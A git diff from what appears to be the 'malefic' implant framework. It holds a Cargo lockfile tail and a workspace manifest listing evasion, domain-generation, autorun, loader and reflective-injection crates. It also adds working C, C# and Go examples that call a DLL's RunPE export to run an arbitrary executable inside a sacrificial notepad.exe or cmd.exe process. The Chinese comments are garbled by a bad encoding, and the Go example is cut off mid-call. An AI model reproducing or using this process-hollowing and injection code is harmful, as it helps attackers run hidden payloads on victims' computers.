"f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.3", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link 0.2.1", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" +dependencies = [ + "windows-link 0.1.3", + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "winnow" +version = "0.6.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e90edd2ac1aa278a5c4599b1d89cf03074b610800f866d4026dc199d7929a28" +dependencies = [ + "memchr", +] + +[[package]] +name = "winnow" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3edebf492c8125044983378ecb5766203ad3b4c2f7a922bd7dd207f6d443e95" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + +[[package]] +name = "winreg" +version = "0.55.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb5a765337c50e9ec252c2069be9bf91c7df47afb103b642ba3a53bf8101be97" +dependencies = [ + "cfg-if", + "windows-sys 0.59.0", +] + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags 2.11.0", +] + +[[package]] +name = "write16" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936" + +[[package]] +name = "writeable" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "git+https://github.com/dalek-cryptography/curve25519-dalek?tag=curve25519-4.2.0#8016d6d9b9cdbaa681f24147e0b9377cc8cef934" +dependencies = [ + "curve25519-dalek", + "rand_core 0.6.4", + "serde", + "zeroize", +] + +[[package]] +name = "xattr" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156" +dependencies = [ + "libc", + "rustix", +] + +[[package]] +name = "yoke" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "120e6aef9aa629e3d4f52dc8cc43a015c7724194c97dfaf45180d2daf2b77f40" +dependencies = [ + "serde", + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "zerofrom" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ec111ce797d0e0784a1116d0ddcdbea84322cd79e5d5ad173daeba4f93ab55" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "zerovec" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "zip" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93ab48844d61251bb3835145c521d88aa4031d7139e8485990f60ca911fa0815" +dependencies = [ + "byteorder", + "bzip2", + "crc32fast", + "flate2", + "thiserror 1.0.69", + "time", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..adeda18 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,170 @@ +cargo-features = ["profile-rustflags"] + +[workspace] +resolver = "2" +members = [ + "malefic", + "malefic-modules", + # malefic-macro lives in malefic-crates/macro + "malefic-mutant", + "malefic-prelude", + + "malefic-pulse", + "malefic-3rd", + "malefic-crates/stub", + "malefic-crates/crypto", + "malefic-crates/module", + "malefic-crates/config", + "malefic-crates/transport", + "malefic-crates/scheduler", + "malefic-crates/dga", + "malefic-crates/cron", + "malefic-crates/macro", + "malefic-crates/proto", + "malefic-crates/manager", + "malefic-crates/common", + "malefic-crates/process", + "malefic-crates/net", + "malefic-crates/sysinfo", + "malefic-crates/loader", + "malefic-crates/codec", + "malefic-crates/rem", + "malefic-crates/win", + "malefic-crates/autorun", + "malefic-crates/guardrail", + "malefic-crates/gateway", + "malefic-crates/features", + "malefic-crates/evader", + "malefic-crates/runtime", + "malefic-crates/srdi", +] + +exclude = [ + "malefic-proxydll", + "malefic-starship", + "lib/rage", +] + +[workspace.dependencies] +# Core async and error handling +anyhow = "1.0.89" +thiserror = "2" +futures = "0.3.31" +futures-timer = "3.0.3" +futures-channel = "0.3.31" +async-trait = "0.1.89" + +tokio = "1" +async-std = { version = "1.13.0", features = ["unstable", "attributes"] } +smol = "2.0.2" +async-net = "2.0.0" +async-process = "2.3" + +# Utilities +nanorand = { version = "0.7.0", features = ["wyrand"] } +obfstr = "0.4.3" +const-random = "0.1" +cfg-if = "1.0.0" +rand = "0.8.5" +getrandom = "0.2" +zeroize = "1" + +# Serialization +prost = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } +prost-build = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } +serde = { version = "1.0.210", features = ["derive"] } +base64 = "0.22" + +# Macros +strum = "0.26.3" +strum_macros = "0.26.4" +proc-macro2 = "1.0" + +# Time and scheduling +chrono = {version="0.4", default-features = false, features =["clock"]} + +# Crypto and hashing (2+ uses) +aes = "0.8.4" +ctr = "0.9.2" +hmac = "0.12" +sha2 = {version="0.10.9",default-features = false} +subtle = "2.6" +age = { path = "lib/rage/age" } + +regex = "1.11.2" + +tar = "0.4" + +url = "2.5.4" + +libc = "0.2" +nix = "0.26" +byteorder = "1.4" + +windows = "0.58.0" +windows-core = "0.58.0" + +embed-resource = "3.0.5" +bindgen = "0.72.1" +syn = { version = "2", features = ["full"] } +quote = "1.0" + +# Internal crates +malefic-stub = { path = "malefic-crates/stub", default-features = false } +malefic-crypto = { path = "malefic-crates/crypto", default-features = false } +malefic-proto = { path = "malefic-crates/proto" } +malefic-module = { path = "malefic-crates/module" } +malefic-common = { path = "malefic-crates/common", default-features = false, features = ["random_nanorand"] } +malefic-config = { path = "malefic-crates/config" } +malefic-features = { path = "malefic-crates/features" } +malefic-cron = { path = "malefic-crates/cron" } +malefic-macro = { path = "malefic-crates/macro" } +malefic-process = { path = "malefic-crates/process" } +malefic-net = { path = "malefic-crates/net" } +malefic-sysinfo = { path = "malefic-crates/sysinfo" } +malefic-loader = { path = "malefic-crates/loader", default-features = false } +malefic-codec = { path = "malefic-crates/codec" } +malefic-rem = { path = "malefic-crates/rem" } +malefic-dga = { path = "malefic-crates/dga" } +malefic-transport = { path = "malefic-crates/transport", default-features = false } +malefic-scheduler = { path = "malefic-crates/scheduler", default-features = false } +malefic-manager = { path = "malefic-crates/manager", default-features = false } +malefic-autorun = { path = "malefic-crates/autorun" } +malefic-guardrail = { path = "malefic-crates/guardrail" } +malefic-gateway = { path = "malefic-crates/gateway" } +malefic-os-win = { path = "malefic-crates/win", default-features = false } +malefic-evader = { path = "malefic-crates/evader", default-features = false } +malefic-runtime = { path = "malefic-crates/runtime", default-features = false } +malefic-modules = { path = "malefic-modules" } +malefic-3rd = { path = "malefic-3rd" } +malefic-srdi = { path = "malefic-crates/srdi" } + +[profile.dev] +opt-level = 1 + +[profile.dev.package."*"] +opt-level = 3 + +[profile.release] +panic = "abort" +opt-level = "s" +strip = true +lto = false # prebuild mode requires lto=false (prebuild .a already LTO'd internally) +codegen-units = 1 +incremental = false +rustflags = [ + "-Z", "trim-diagnostic-paths", + "--cfg", "hide_path", +] + +[patch.crates-io] +async-net = { path = "lib/malio/async-net" } +async-process = { path = "lib/malio/async-process" } +async-channel = { path = "lib/malio/async-channel" } +async-executor = { path = "lib/malio/async-executor" } +async-fs = { path = "lib/malio/async-fs" } +async-io = { path = "lib/malio/async-io" } +async-task = { path = "lib/malio/async-task" } +blocking = { path = "lib/malio/blocking" } +parking = { path = "lib/malio/parking" } +# polling = { path = "lib/malio/polling" } diff --git a/README.md b/README.md new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ + diff --git a/examples/ffi/README.md b/examples/ffi/README.md new file mode 100644 index 0000000..751e164 --- /dev/null +++ b/examples/ffi/README.md @@ -0,0 +1,28 @@ +# Malefic-Win-Kit FFI Examples + +Multi-language examples for calling malefic-win-kit APIs. + +## Quick Start + +### 1. Get the DLL + +Community edition uses prebuild libraries. Download `community_resource.zip` from the +[latest release](https://github.com/chainreactors/malefic-v0.3.0/releases/latest) +and extract `malefic_win_kit.dll`. + +### 2. Run Examples + +| Language | Directory | Example File | +|----------|-----------|--------------| +| **C** | `c/` | `runpe_test.c` | +| **Go** | `go/` | `runpe_example.go` | +| **Rust** | `rust/` | `runpe_example.rs` | +| **Python** | `python/` | `runpe_test.py` | +| **C#** | `csharp/` | `RunPETest.cs` | + +## What's Included + +- **Language Examples** - Working code for 5 languages +- **Header File** - `malefic-win-kit.h` with complete API signatures +- **Memory Management** - Proper RawString handling +- **Error Handling** - Best practices for each language diff --git a/examples/ffi/c/README.md b/examples/ffi/c/README.md new file mode 100644 index 0000000..d6c2773 --- /dev/null +++ b/examples/ffi/c/README.md @@ -0,0 +1,26 @@ +# C 调用示例 + +通过 C 调用 WinKit 高级 API(RunPEã€BOFã€Reflective DLL 等)。 + +## 编译è¿è¡Œ + +```bash +gcc runpe_test.c -o test.exe +./test.exe ../gogo.exe +``` + +## 自定义 + +传递傿•°ï¼š +```c +const char *args = "--help"; +// 在调用中传递 args +``` + +注入到进程: +```c +uint32_t pid = 1234; +// 在调用中传递 pid +``` + +**详细说明è§ä»£ç æ³¨é‡Šã€‚** diff --git a/examples/ffi/c/runpe_test.c b/examples/ffi/c/runpe_test.c new file mode 100644 index 0000000..06dc6d7 --- /dev/null +++ b/examples/ffi/c/runpe_test.c @@ -0,0 +1,187 @@ +/* + * C 语言调用 malefic-win-kit.dll 示例 + * 编译: gcc runpe_test.c -o runpe_test.exe + * è¿è¡Œ: runpe_test.exe target.exe + */ + +#include +#include +#include +#include + +// RawString 结构体定义(必须与 Rust 匹é…) +typedef struct { + unsigned char *data; + size_t len; + size_t capacity; +} RawString; + +// 函数指针类型定义 +typedef void (*RunPEFunc)( + RawString *result, // è¿”å›žå€¼æŒ‡é’ˆï¼ˆç¬¬ä¸€ä¸ªå‚æ•°ï¼ï¼‰ + const unsigned char *start_commandline, + size_t start_commandline_len, + const unsigned char *hijack_commandline, + size_t hijack_commandline_len, + const unsigned char *data, + size_t data_size, + const unsigned char *entrypoint, + size_t entrypoint_len, + const unsigned char *args, + size_t args_len, + int is_x86, + unsigned int pid, + int block_dll, + int need_output +); + +typedef void (*SafeFreeFunc)(const unsigned char *data); + +// è¯»å–æ–‡ä»¶åˆ°å†…å­˜ +unsigned char* readFile(const char* filename, size_t* size) { + FILE* f = fopen(filename, "rb"); + if (!f) { + printf("Error: Cannot open file %s\n", filename); + return NULL; + } + + fseek(f, 0, SEEK_END); + *size = ftell(f); + fseek(f, 0, SEEK_SET); + + unsigned char* data = (unsigned char*)malloc(*size); + if (!data) { + fclose(f); + return NULL; + } + + size_t read = fread(data, 1, *size, f); + fclose(f); + + if (read != *size) { + free(data); + return NULL; + } + + return data; +} + +int main(int argc, char* argv[]) { + printf("=== Malefic-Win-Kit C Test ===\n\n"); + + if (argc < 2) { + printf("Usage: %s \n", argv[0]); + printf("Example: %s gogo.exe\n", argv[0]); + return 1; + } + + // 1. 加载 DLL + printf("[*] Loading malefic_win_kit.dll...\n"); + HMODULE hDll = LoadLibraryA("malefic_win_kit.dll"); + if (!hDll) { + printf("[-] Failed to load DLL: Error %lu\n", GetLastError()); + return 1; + } + printf("[+] DLL loaded successfully\n"); + + // 2. 获å–å‡½æ•°åœ°å€ + printf("[*] Getting function addresses...\n"); + RunPEFunc RunPE = (RunPEFunc)GetProcAddress(hDll, "RunPE"); + SafeFreeFunc SafeFreePipeData = (SafeFreeFunc)GetProcAddress(hDll, "SafeFreePipeData"); + + if (!RunPE) { + printf("[-] Failed to find RunPE function\n"); + FreeLibrary(hDll); + return 1; + } + + if (!SafeFreePipeData) { + printf("[-] Failed to find SafeFreePipeData function\n"); + FreeLibrary(hDll); + return 1; + } + printf("[+] Functions found successfully\n"); + + // 3. è¯»å– PE 文件 + printf("[*] Reading PE file: %s\n", argv[1]); + size_t peSize; + unsigned char* peData = readFile(argv[1], &peSize); + if (!peData) { + printf("[-] Failed to read PE file\n"); + FreeLibrary(hDll); + return 1; + } + printf("[+] Loaded PE: %zu bytes\n", peSize); + + // éªŒè¯ PE 魔数 + if (peSize < 2 || peData[0] != 'M' || peData[1] != 'Z') { + printf("[-] Invalid PE file (missing MZ header)\n"); + free(peData); + FreeLibrary(hDll); + return 1; + } + + // 4. 准备傿•° + const char* sacrificeProcess = "C:\\Windows\\System32\\notepad.exe"; + printf("[*] Sacrifice process: %s\n", sacrificeProcess); + + // 5. 调用 RunPE + printf("[*] Calling RunPE...\n\n"); + + RawString result; + memset(&result, 0, sizeof(RawString)); + + // é‡è¦ï¼šåœ¨ Windows x64 ä¸‹ï¼Œè¿”å›žå€¼æŒ‡é’ˆä½œä¸ºç¬¬ä¸€ä¸ªå‚æ•°ä¼ é€’ï¼ + RunPE( + &result, // 返回值指针 + (const unsigned char*)sacrificeProcess, // start_commandline + strlen(sacrificeProcess), // start_commandline_len + NULL, // hijack_commandline + 0, // hijack_commandline_len + peData, // data + peSize, // data_size + NULL, // entrypoint + 0, // entrypoint_len + NULL, // args + 0, // args_len + 0, // is_x86 (false) + 0, // pid (0 = create new) + 0, // block_dll (false) + 1 // need_output (true) + ); + + // 6. 处ç†ç»“æžœ + printf("=== Result ===\n"); + printf("Data pointer: %p\n", result.data); + printf("Length: %zu\n", result.len); + printf("Capacity: %zu\n\n", result.capacity); + + if (result.data && result.len > 0) { + printf("=== Output ===\n"); + // 安全地打å°è¾“å‡ºï¼ˆé˜²æ­¢éž ASCII 字符) + for (size_t i = 0; i < result.len; i++) { + if (result.data[i] >= 32 && result.data[i] <= 126) { + putchar(result.data[i]); + } else if (result.data[i] == '\n' || result.data[i] == '\r') { + putchar(result.data[i]); + } else { + printf("\\x%02x", result.data[i]); + } + } + printf("\n=============\n\n"); + + // 7. 释放内存 + printf("[*] Freeing memory...\n"); + SafeFreePipeData(result.data); + printf("[+] Memory freed\n"); + } else { + printf("[-] No output received or execution failed\n"); + } + + // 8. æ¸…ç† + free(peData); + FreeLibrary(hDll); + + printf("\n[+] Done!\n"); + return 0; +} diff --git a/examples/ffi/csharp/README.md b/examples/ffi/csharp/README.md new file mode 100644 index 0000000..66de88a --- /dev/null +++ b/examples/ffi/csharp/README.md @@ -0,0 +1,29 @@ +# C# 调用示例 + +通过 C# 调用 WinKit 高级 API(RunPEã€BOFã€Reflective DLL 等)。 + +## 编译è¿è¡Œ + +```bash +csc -unsafe RunPETest.cs +./RunPETest.exe ../gogo.exe +``` + +è¦æ±‚:Visual Studio 或 .NET SDK + +## 自定义 + +传递傿•°ï¼š +```csharp +byte[] args = Encoding.ASCII.GetBytes("--help"); +// 在调用中传递 args +``` + +使用å°è£…类: +```csharp +using (var kit = new WinKit()) { + string output = kit.ExecutePE(sacrifice, peData, args: "--help"); +} +``` + +**详细说明è§ä»£ç æ³¨é‡Šã€‚** diff --git a/examples/ffi/csharp/RunPETest.cs b/examples/ffi/csharp/RunPETest.cs new file mode 100644 index 0000000..75be981 --- /dev/null +++ b/examples/ffi/csharp/RunPETest.cs @@ -0,0 +1,216 @@ +/* + * C# 调用 malefic-win-kit.dll 示例 + * 编译: csc /unsafe RunPETest.cs + * è¿è¡Œ: RunPETest.exe target.exe + */ + +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace MaleficWinKit +{ + /// + /// RawString 结构体(必须与 Rust 匹é…) + /// + [StructLayout(LayoutKind.Sequential)] + public struct RawString + { + public IntPtr data; + public UIntPtr len; + public UIntPtr capacity; + } + + /// + /// Malefic-Win-Kit DLL å°è£…ç±» + /// + public class WinKit : IDisposable + { + private const string DLL_NAME = "malefic_win_kit.dll"; + + /// + /// RunPE 函数导入 + /// é‡è¦ï¼šåœ¨ Windows x64 ä¸‹ï¼Œè¿”å›žå€¼é€šè¿‡ç¬¬ä¸€ä¸ªå‚æ•°ï¼ˆout RawString)传递 + /// + [DllImport(DLL_NAME, CallingConvention = CallingConvention.Cdecl)] + private static extern void RunPE( + out RawString result, // è¿”å›žå€¼æŒ‡é’ˆï¼ˆç¬¬ä¸€ä¸ªå‚æ•°ï¼ï¼‰ + byte[] start_commandline, + UIntPtr start_commandline_len, + IntPtr hijack_commandline, + UIntPtr hijack_commandline_len, + byte[] data, + UIntPtr data_size, + IntPtr entrypoint, + UIntPtr entrypoint_len, + byte[] args, + UIntPtr args_len, + bool is_x86, + uint pid, + bool block_dll, + bool need_output + ); + + /// + /// SafeFreePipeData 函数导入 + /// + [DllImport(DLL_NAME, CallingConvention = CallingConvention.Cdecl)] + private static extern void SafeFreePipeData(IntPtr data); + + public WinKit() + { + Console.WriteLine("[*] Initializing WinKit..."); + // DLL 会在第一次调用时自动加载 + Console.WriteLine("[+] WinKit initialized\n"); + } + + /// + /// 执行 PE 文件 + /// + /// 牺牲进程路径 + /// PE æ–‡ä»¶æ•°æ® + /// 传递给 PE çš„å‚æ•°ï¼ˆå¯é€‰ï¼‰ + /// 执行结果或 null + public string ExecutePE(string sacrificeProcess, byte[] peData, string args = null) + { + Console.WriteLine($"[*] Sacrifice process: {sacrificeProcess}"); + Console.WriteLine($"[*] PE data size: {peData.Length} bytes"); + + // éªŒè¯ PE 文件 + if (peData.Length < 2 || peData[0] != 'M' || peData[1] != 'Z') + { + throw new ArgumentException("Invalid PE file (missing MZ header)"); + } + + // 准备傿•° + byte[] sacrificeBytes = Encoding.ASCII.GetBytes(sacrificeProcess); + byte[] argsBytes = args != null ? Encoding.UTF8.GetBytes(args) : null; + + Console.WriteLine("[*] Calling RunPE...\n"); + + // 调用 RunPE + RawString result; + RunPE( + out result, // 返回值(é‡è¦ï¼ï¼‰ + sacrificeBytes, // start_commandline + (UIntPtr)sacrificeBytes.Length, // start_commandline_len + IntPtr.Zero, // hijack_commandline + UIntPtr.Zero, // hijack_commandline_len + peData, // data + (UIntPtr)peData.Length, // data_size + IntPtr.Zero, // entrypoint + UIntPtr.Zero, // entrypoint_len + argsBytes, // args + argsBytes != null ? (UIntPtr)argsBytes.Length : UIntPtr.Zero, + false, // is_x86 + 0, // pid + false, // block_dll + true // need_output + ); + + // 处ç†ç»“æžœ + Console.WriteLine("=== Result ==="); + Console.WriteLine($"Data pointer: 0x{result.data.ToInt64():X}"); + Console.WriteLine($"Length: {result.len.ToUInt32()}"); + Console.WriteLine($"Capacity: {result.capacity.ToUInt32()}\n"); + + if (result.data != IntPtr.Zero && result.len.ToUInt32() > 0) + { + // 读å–输出 + byte[] outputBytes = new byte[result.len.ToUInt32()]; + Marshal.Copy(result.data, outputBytes, 0, (int)result.len.ToUInt32()); + + // 释放内存 + Console.WriteLine("[*] Freeing memory..."); + SafeFreePipeData(result.data); + Console.WriteLine("[+] Memory freed\n"); + + // 转æ¢ä¸ºå­—符串 + try + { + return Encoding.UTF8.GetString(outputBytes); + } + catch + { + return Encoding.Default.GetString(outputBytes); + } + } + + return null; + } + + public void Dispose() + { + // DLL ä¼šåœ¨è¿›ç¨‹ç»“æŸæ—¶è‡ªåЍå¸è½½ + } + } + + /// + /// ä¸»ç¨‹åº + /// + class Program + { + static void Main(string[] args) + { + Console.WriteLine("=== Malefic-Win-Kit C# Test ===\n"); + + if (args.Length < 1) + { + Console.WriteLine("Usage: RunPETest.exe "); + Console.WriteLine("Example: RunPETest.exe gogo.exe"); + return; + } + + string targetFile = args[0]; + + if (!File.Exists(targetFile)) + { + Console.WriteLine($"[-] File not found: {targetFile}"); + return; + } + + try + { + // 创建 WinKit 实例 + using (var kit = new WinKit()) + { + // è¯»å– PE 文件 + Console.WriteLine($"[*] Reading PE file: {targetFile}"); + byte[] peData = File.ReadAllBytes(targetFile); + Console.WriteLine($"[+] Loaded PE: {peData.Length} bytes\n"); + + // 执行 PE + string output = kit.ExecutePE(@"C:\Windows\System32\notepad.exe", peData); + + if (output != null) + { + Console.WriteLine("=== Output ==="); + Console.WriteLine(output); + Console.WriteLine("=============\n"); + } + else + { + Console.WriteLine("[-] No output received or execution failed\n"); + } + + Console.WriteLine("[+] Done!"); + } + } + catch (DllNotFoundException) + { + Console.WriteLine("[-] Error: malefic_win_kit.dll not found"); + Console.WriteLine(" Make sure the DLL is in the same directory as the executable"); + } + catch (Exception ex) + { + Console.WriteLine($"[-] Error: {ex.Message}"); + Console.WriteLine($" {ex.GetType().Name}"); + if (ex.InnerException != null) + { + Console.WriteLine($" Inner: {ex.InnerException.Message}"); + } + } + } + } +} diff --git a/examples/ffi/go/README.md b/examples/ffi/go/README.md new file mode 100644 index 0000000..c98237c --- /dev/null +++ b/examples/ffi/go/README.md @@ -0,0 +1,25 @@ +# Go 调用示例 + +通过 Go 调用 WinKit 高级 API(RunPEã€BOFã€Reflective DLL 等)。 + +## è¿è¡Œ + +```bash +go run runpe_example.go +``` + +## 自定义 + +传递傿•°ï¼š +```go +args := []byte("--help") +// 在调用中传递 args +``` + +注入到进程: +```go +pid := uint32(1234) +// 在调用中传递 pid +``` + +**详细说明è§ä»£ç æ³¨é‡Šã€‚** diff --git a/examples/ffi/go/runpe_example.go b/examples/ffi/go/runpe_example.go new file mode 100644 index 0000000..54f67ec --- /dev/null +++ b/examples/ffi/go/runpe_example.go @@ -0,0 +1,98 @@ +package main + +import ( + "fmt" + "os" + "syscall" + "unsafe" +) + +// RawString represents the return type from the Rust FFI +type RawString struct { + Data *byte + Len uintptr + Capacity uintptr +} + +func main() { + // Load the DLL + dll, err := syscall.LoadDLL("malefic_win_kit.dll") + if err != nil { + fmt.Printf("Failed to load DLL: %v\n", err) + os.Exit(1) + } + defer dll.Release() + + // Get RunPE function + runPEProc, err := dll.FindProc("RunPE") + if err != nil { + fmt.Printf("Failed to find RunPE: %v\n", err) + os.Exit(1) + } + + // Get SafeFreePipeData function + safeFreeProc, err := dll.FindProc("SafeFreePipeData") + if err != nil { + fmt.Printf("Failed to find SafeFreePipeData: %v\n", err) + os.Exit(1) + } + + // Read gogo.exe + peData, err := os.ReadFile("gogo.exe") + if err != nil { + fmt.Printf("Failed to read gogo.exe: %v\n", err) + os.Exit(1) + } + + fmt.Printf("Loaded gogo.exe: %d bytes\n", len(peData)) + + // Prepare parameters based on Rust example + // start_commandline: sacrifice process (e.g., cmd.exe) + startCmd := []byte("C:\\Windows\\System32\\cmd.exe") + + fmt.Println("Calling RunPE...") + + // Allocate space for the return value + // In Windows x64 calling convention, structs larger than 8 bytes are returned + // via a hidden pointer parameter (passed as the first argument in RCX) + var result RawString + + // Call RunPE with all parameters + // The first parameter is a pointer to where the return value should be stored + syscall.SyscallN( + runPEProc.Addr(), + 